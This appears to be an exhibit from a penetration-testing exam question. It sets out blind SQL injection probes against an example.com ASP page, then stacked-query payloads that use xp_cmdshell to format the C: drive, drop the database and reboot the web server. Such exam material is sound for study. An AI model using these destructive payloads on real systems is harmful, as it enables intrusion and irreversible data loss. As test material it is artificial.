Exhibit: You are conducting pen-test against a company’s website using SQL Injection techniques.

Identify the user context of the web application by running_

http://www.example.com/order/include_rsa_asp?pressReleaseID=5

AND

USER_NAME() = ‘dbo’

Identify the database and table name by running:

http://www.example.com/order/include_rsa.asp?pressReleaseID=5

AND

ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE

xtype=’U’), 1))) > 109

Format the C: drive and delete the database by running:

http://www.example.com/order/include_rsa.asp?pressReleaseID=5 AND

xp_cmdshell ‘format c: /q /yes ‘; drop database myDB; --

Reboot the web server by running:

http://www.example.com/order/include_rsa.asp?pressReleaseID=5

AND xp_cmdshell ‘iisreset –reboot’; --